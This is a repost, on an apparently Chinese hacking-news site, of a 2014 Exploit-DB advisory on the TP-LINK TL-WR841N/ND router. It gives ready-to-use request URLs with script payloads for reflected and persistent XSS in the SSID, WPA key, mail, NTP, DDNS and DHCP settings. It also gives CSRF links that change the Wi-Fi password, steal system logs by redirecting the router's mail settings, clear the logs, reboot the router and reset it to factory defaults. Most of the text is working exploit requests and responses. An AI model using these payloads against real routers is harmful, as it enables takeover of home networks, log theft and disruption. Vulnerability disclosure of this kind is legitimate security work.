记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

WEB应用漏洞: - TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities

2014-09-10 02:25
#Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
#Date: 30.06.14
#Vendor: TP-LINK
#Affected versions: TL-WR841N / TL-WR841ND
#Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
#Contact: smash [at] devilteam.pl

#1 - Reflected XSS in Wireless Settings

Vulnerable parameters - ssid1, ssid2, ssid3, ssid4.

Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below.

While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss.

Request:
http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4®ion=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
(...)
<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 );
</SCRIPT>

#2 - Persistent XSS & CSRF in Wireless Security Settings

Vulnerable parameter - pskSecret.

Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password.

Request:
http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1,
0,0 );
</SCRIPT>

#3 - Persistent XSS & CSRF in Mail Settings

Vulnerable parameters - FromAddr, ToAddr, SMTPAddr.

Reason is the same.

Request:
http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var autoEmailConf = new Array(
"test@test.com",
"test1@test.com",
"</script><script>alert(123)</script>",
0,
"",
0,
0,
0,
0,
0,0 );
</SCRIPT>

It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below:
http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2

#4 - Persistent XSS & CSRF in Time Settings

Vulnerable parameters - ntpA & ntpB.

Request:
http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var timeInf = new Array(
7,
1,
2014,
2,
58,
52,
0,
"</script>xssed<>",
"0.0.0.0",
2,
2,
0,
2,
10,
1,
0,
3,
0,
0,
0,0 );
</SCRIPT>

#5 - Persistent XSS & CSRF in Dynamic DNS settings

Vulnerable parameters - username, password, cliUrl.

Request:
http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var serInf = new Array(
"</script><script>alert(123)</script>",
"password",
"",
0,
0,
3,
2,
0,
1,
0,0 );
</SCRIPT>

#6 - Persistent XSS & CSRF in DHCP settings

Vulnerable parameter - domain.

Request:
http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var DHCPPara = new Array(
1,
"192.168.0.100",
"192.168.0.199",
120,
"192.168.0.1",
"</script>xssed<>",
"0.0.0.0",
"0.0.0.0",
1,
0,0 );
</SCRIPT>

#7 - Other CSRF's

a) Clear system logs

http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1

b) Reboot device

http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot

c) Factory defaults reset (admin:admin)

http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore

Actually, there is no prevention technique to avoid csrf in this one; bug's pointed above are most interesting.



知识来源: www.exploit-db.com/exploits/34584

阅读:318219 | 评论:0 | 标签:webapps

想收藏或者和大家分享这篇好文章→复制链接地址

“WEB应用漏洞: - TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云